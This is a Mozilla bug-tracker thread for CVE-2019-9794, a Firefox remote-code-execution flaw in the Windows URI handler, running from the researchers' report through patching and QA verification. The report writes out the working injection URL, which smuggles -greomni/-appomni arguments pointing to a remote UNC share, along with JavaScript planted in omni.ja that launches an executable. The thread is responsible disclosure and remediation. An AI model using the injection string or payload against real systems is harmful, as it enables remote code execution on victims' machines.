1530103 - (CVE-2019-9794) URI handler Remote Code Execution via command line parameter injection in Firefox

Status: VERIFIED FIXED

(Toolkit :: Startup and Profile System, defect, P1)

Description

Tested on Microsoft Windows 10 Enterprise version 10.0.17134 Build 17134

Using Firefox Quantum version 65.0.1 (64-bit)

Steps to reproduce:

1. Close all running instances of firefox
2. Open the run prompt (windows key + r) and run the following URL:

https://www.tsscyber.com.au#" -greomni "\\remoteHost\omni.ja" -appomni "\\remoteHost\omni2.ja

---

Expected Result: Firefox ignores the command as additional command line arguments are present.

Actual Result: Firefox accepts the command and attempts to retrieve ‘omni.ja’ and ‘omni2.ja’ from ‘remoteHost’. As ‘remoteHost’ likely doesn’t resolve to an IP, firefox crashes and ‘crashreporter.exe’ is run.

---

Detailed Information:

A malicious user can craft URIs in third party applications (tested using MS Outlook and MS Office) that can result in Remote Code Execution when Firefox is installed and configured as the default URI handler for a given URI scheme (e.g. http/https).

The ‘greomni’ and ‘appomni’ command line arguments are accepted via the URI handler command. These flags are used to specify the location of the ‘omni.ja’ file. An attacker can specify a network location for the ‘greomni’ and ‘appomni’ arguments to force Firefox to load malicious ‘omni.ja’ files. Some information about the 'omni.ja' files can be found here: https://developer.mozilla.org/en-US/docs/Mozilla/About_omni.ja_(formerly_omni.jar)

The shell command for HTTP URI’s is specified in the windows registry in an entry similar to:
Computer\HKEY_CLASSES_ROOT\FirefoxHTML-308046B0AF4A39CB\shell\open\command

The value is:
"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "%1"

When the example malicious URL above is clicked, the command becomes:
"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "https://www.tsscyber.com.au#" -greomni "\\remoteHost\omni.ja" -appomni "\\remoteHost\omni2.ja"

This issue can be exploited from Outlook and Office because they don’t URL Encode the hash segment of a URL making it possible to inject double quotes into the command. There are likely other programs that have similar behaviours.

The ‘osint’ flag in the command is supposed to ensure that Firefox ignores any command line arguments that have been injected via a malicious URL. The ‘osint’ flag was introduced in 2007 in response to the following bug: https://bugzilla.mozilla.org/show_bug.cgi?id=384384

I think that the issue occurs because the ‘greomni’ and ‘appomni’ command line arguments are used to retrieve the omni.ja files before the ‘osint’ flag is checked. The ‘greomni’ and ‘appomni’ arguments are then hidden from the ‘osint’ check because argc’s value is reduced by two. This means that when the ‘osint’ check is performed later, the value of argc matches the acceptable amount of command line arguments the ‘osint’ flag expects.

This is the area of code that I think is causing the issue:
https://dxr.mozilla.org/mozilla-central/source/js/xpconnect/src/XPCShellImpl.cpp#1267

I believe this is where the ‘osint’ flag is being checked:
https://dxr.mozilla.org/mozilla-central/source/browser/components/nsBrowserContentHandler.js#648

RCE is achieved by introducing malicious code into the contents of files in the omni.ja archives. We have had limited success launching arbitrary executables by injecting the following code into .js and .jws files (for example C:\Program Files (x86)\Mozilla Firefox\browser\omni.ja’s /chrome/browser/content/browser/browser.js file).

Components.utils.import("resource://gre/modules/Subprocess.jsm")
let opt = { command: "C:\windows\system32\calc.exe", arguments: [], workdir: "C:\windows\system32", stderr: "pipe"};
let x = Subprocess.call(opt);

Credit:
Joshua Graham of TSS & Brendan Scarvell

Comment 1

[:Gijs (out for now; he/him)]

(In reply to Joshua Graham from comment #0)

Thanks for the report.

The ‘osint’ flag in the command is supposed to ensure that Firefox ignores any command line arguments that have been injected via a malicious URL. The ‘osint’ flag was introduced in 2007 in response to the following bug: https://bugzilla.mozilla.org/show_bug.cgi?id=384384

Thanks for flagging this up, this is helpful.

I think that the issue occurs because the ‘greomni’ and ‘appomni’ command line arguments are used to retrieve the omni.ja files before the ‘osint’ flag is checked. The ‘greomni’ and ‘appomni’ arguments are then hidden from the ‘osint’ check because argc’s value is reduced by two. This means that when the ‘osint’ check is performed later, the value of argc matches the acceptable amount of command line arguments the ‘osint’ flag expects.

I don't think it's about which happens first; I think it's that we don't hit https://searchfox.org/mozilla-central/rev/dc0adc07db3df9431a0876156f50c65d580010cb/toolkit/xre/CmdLineAndEnvUtils.h#190-200 because we don't pass CheckArgFlag::CheckOSInt when looking up greomni/appomni at https://searchfox.org/mozilla-central/rev/dc0adc07db3df9431a0876156f50c65d580010cb/toolkit/xre/nsAppRunner.cpp#4968 and further down in that file.

This is the area of code that I think is causing the issue:
https://dxr.mozilla.org/mozilla-central/source/js/xpconnect/src/XPCShellImpl.cpp#1267

No, that's the commandline handling for the xpcshell binary (which isn't what the URI handler is). See my previous link for where Firefox processes these.

I believe this is where the ‘osint’ flag is being checked:
https://dxr.mozilla.org/mozilla-central/source/browser/components/nsBrowserContentHandler.js#648

That's in JS; the C++ also checks osint, and that code lives elsewhere.

RCE is achieved by introducing malicious code into the contents of files in the omni.ja archives. We have had limited success launching arbitrary executables by injecting the following code into .js and .jws files (for example C:\Program Files (x86)\Mozilla Firefox\browser\omni.ja’s /chrome/browser/content/browser/browser.js file).

I'm confused. greomni/appomni cmdline flags are about pointing to a different omni.ja . Here you're describing modifying the one that ships with Firefox. Isn't the "whole point" of abusing these flags that you'd want to point to some other, altered copy?

If you can modify the standard omni.ja, why do you need the special commandline flags? The two issues seem unrelated. In a normal setup on Windows, you would need admin rights on the machine to overwrite omni.ja . At that point, can't you just launch whatever executable you want anyway?

Aaron/Robert, looks like you've touched this stuff in the past. From a quick look: can we just pass CheckArgFlag::CheckOSInt when looking up greomni/appomni ? Better yet, can we make that the default path, and update any places that really really don't want to check for that commandline flag to pass some alternative enum/flag that means the opposite (ie make this opt-out instead of opt-in)?

Comment 2

[Joshua Graham]

Yes, you would want to point to some other altered copy. What I meant was that we created this alternative copy by modifying the copy that ships with Firefox to introduce malicious code. Then we hosted the modified malicious copy on an internet share and were able to force Firefox to load the malicious copy via a malicious link.

Comment 3

[Robert Strong (they/them - no direct email)]

For clarity, the -osint command line flag was added to differentiate between a command line that came from an entry in the registry and a command line from start run, the command line, etc. When -osint is present we assume that the command line came from the registry (os integration) and restrict what is allowed while still allowing other command line flags that aren't from the registry.

I haven't looked at this code in a very long time but from what I can see it looks like greomni and appomni are handled in nsAppRunner.cpp and if osint is also present on the command line then the command line should be treated as invalid.

Comment 4

[(No longer employed by Mozilla) Aaron Klotz]

My involvement in that code was mainly for refactoring cleanup, so I'm going to defer to rstrong's understanding of the usage of the osint flag.

Comment 5

[Joshua Graham]

I just re-read my steps to reproduce and realise that the command is wrong (I wrote it as plain text but it was parsed as mark down).

The URL should be:

https://www.tsscyber.com.au#" -greomni "\\remoteHost\omni.ja" -appomni "\\remoteHost\omni2.ja

Where the "\\" prefix on the -greomni and -appomni paths means a UNC path to a remote file share hosted at "remoteHost". I hope this clears up the confusion around pointing to a different omni.ja file.

Comment 6

[Robert Strong (they/them - no direct email)]

Attachment: Bug 1530103 - Check for osint argument when checking for greomni and appomni arguments. r?aklotz

Comment 7

[Robert Strong (they/them - no direct email)]

Comment on attachment 9046973 [details]
Bug 1530103 - Check for osint argument when checking for greomni and appomni arguments. r?aklotz

Security Approval Request

• How easily could an exploit be constructed based on the patch?: Hard to say since to exploit this requires a combination of bug 384384 (which is open) and fixed around 12 years ago with the appomni and greomni command line arguments which were added around 8 years ago.
• Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
• Which older supported branches are affected by this flaw?: I went back to Firefox 10 but probably older
• If not all supported branches, which bug introduced the flaw?: Uncertain
• Do you have backports for the affected branches?: No
• If not, how different, hard to create, and risky will they be?: Easy to create and they shouldn't be risky
• How likely is this patch to cause regressions; how much testing does it need?: Unlikely though I'd like it to bake on trunk for a couple of days (like I do).

Comment 8

[Dave Townsend [:mossop]]

I'm not sure why we are supporting the greomni and appomni command line arguments, can we just remove them?

Comment 9

[Robert Strong (they/them - no direct email)]

Quite possibly but in a followup with the devs that added them... for this security bug I woudn't want to remove them.

Comment 10

[Daniel Veditz [:dveditz]]

Or if we must support them why we can't reject UNC file paths.

Comment 11

[Robert Strong (they/them - no direct email)]

I know next to nothing about the appomni and greomni command line arguments having only learned about them due to this bug and I'm pretty sure I haven't touched this code in over a decade though I do know that the patch fixes this security bug and can be easily backported to beta, release, and esr. If you'd like a patch for this bug to possibly remove the arguments or reject UNC paths it would be better to abandon the current patch and get one of the developers that has knowledge of these command line arguments to work on this.

Comment 12

[Al Billings [:abillings - ex-MoCo]]

Comment on attachment 9046973 [details]
Bug 1530103 - Check for osint argument when checking for greomni and appomni arguments. r?aklotz

sec-approval+ for trunk. We should take this on affected branches.

Comment 13

[Dave Townsend [:mossop]]

So it looks like the command line argument is used for passing the path down to child processes, possibly only needed on Android. Support for this originally landed in bug 574120 (https://bugzilla.mozilla.org/attachment.cgi?id=453936&action=diff), but both mwu and dougt aren't around anymore so not sure who might understand this. I wonder if we either don't need it at all, or only need it in child processes.

Anyway I agree we should get this fix landed now and we can consider whether to change these options later.

Comment 14

[Robert Strong (they/them - no direct email)]

I saw bug 574120 last night but it doesn't look like it added the command line args. Instead, it used env vars.

Comment 15

[:Gijs (out for now; he/him)]

Apparently commits don't get logged on sec bugs...

https://hg.mozilla.org/mozilla-central/rev/537fb8251e61

:rstrong, want to nominate for beta / esr uplift, and file a follow-up for removing these / blocking UNC paths if we can (or #ifdef'ing these for android or something) ?

Comment 16

[Robert Strong (they/them - no direct email)]

Finishing up a couple of other things and will request uplift soon. Feel free to file the followup or I can do it if it isn't done when I finish things up.

Comment 17

[Robert Strong (they/them - no direct email)]

Comment on attachment 9046973 [details]
Bug 1530103 - Check for osint argument when checking for greomni and appomni arguments. r?aklotz

Beta/Release Uplift Approval Request

• Feature/Bug causing the regression: Unknown though bug 574120 is part of the trail
• User impact if declined: A malicious user can craft URIs in third party applications (tested using MS Outlook and MS Office) that can result in Remote Code Execution when Firefox is installed and configured as the default URI handler for a given URI scheme (e.g. http/https).
• Is this code covered by automated tests?: No
• Has the fix been verified in Nightly?: Yes
• Needs manual test from QE?: No
• If yes, steps to reproduce: In case manual steps are desired, from comment #0

Close all running instances of firefox
Open the run prompt (windows key + r) and run the following URL:

https://www.tsscyber.com.au#" -greomni "\remoteHost\omni.ja" -appomni "\remoteHost\omni2.ja

Expected Result: Firefox ignores the command as additional command line arguments are present.

• List of other uplifts needed: None
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): The patch uses a method that has been in use for approximately 12 years
• String changes made/needed: None

ESR Uplift Approval Request

• If this is not a sec:{high,crit} bug, please state case for ESR consideration:
• User impact if declined: A malicious user can craft URIs in third party applications (tested using MS Outlook and MS Office) that can result in Remote Code Execution when Firefox is installed and configured as the default URI handler for a given URI scheme (e.g. http/https).
• Fix Landed on Version: 67
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): The patch uses a method that has been in use for approximately 12 years
• String or UUID changes made by this patch: None

Comment 18

[Robert Strong (they/them - no direct email)]

Filed bug 1531475. I went with security sensitive so security can choose whether it is safe to be made public. I didn't add a dependency to this bug since this bug might be made public sooner than that bug.

Comment 19

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9046973 [details]
Bug 1530103 - Check for osint argument when checking for greomni and appomni arguments. r?aklotz

I don't think we need to dot release 65 for this.

Comment 20

[Robert Strong (they/them - no direct email)]

Attachment: Patch for esr60

The existing patch applies fine to beta but a new patch was needed for esr60

Comment 21

[Liz Henry (:lizzard) (relman/hg->git project)]

Comment on attachment 9046973 [details]
Bug 1530103 - Check for osint argument when checking for greomni and appomni arguments. r?aklotz

Protect against RCE, let's uplift for beta 13.

Comment 22

[Joshua Graham]

I don't have access to bug 1531475 but this information might be useful if you go down the path of blocking UNC values as there are some unusual quirks:

https://googleprojectzero.blogspot.com/2016/02/the-definitive-guide-on-win32-to-nt.html

Can someone pass on the link or give me access to the bug?

Comment 23

[Robert Strong (they/them - no direct email)]

Done

Comment 24

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/releases/mozilla-beta/rev/943486792105

Comment 25

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9047798 [details] [diff] [review]
Patch for esr60

Fixes a sec-high. Approved for 60.6esr.

Comment 26

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/releases/mozilla-esr60/rev/bbf08a8ccbeb

Comment 27

[Ciprian Georgiu, Desktop QA]

I was able to reproduce this bug using an affected Nightly build (2019-02-23), and by following the steps from comment 17. Note that Firefox needs to be set as default browser before the https://www.tsscyber.com.au#" -greomni "\remoteHost\omni.ja" -appomni "\remoteHost\omni2.ja URL is run in the run prompt.

Confirming that Firefox no longer crashes and ignores the command on the latest builds: 67.0a1, 66.0b13 and 60.5.3esr (downloaded from taskcluster).

Comment 28

[Joshua Graham]

Is it possible to get the credit statement on https://www.mozilla.org/en-US/security/advisories/mfsa2019-07/ updated to include Brendan Scarvell? Ideally it would read:

Joshua Graham of TSS & Brendan Scarvell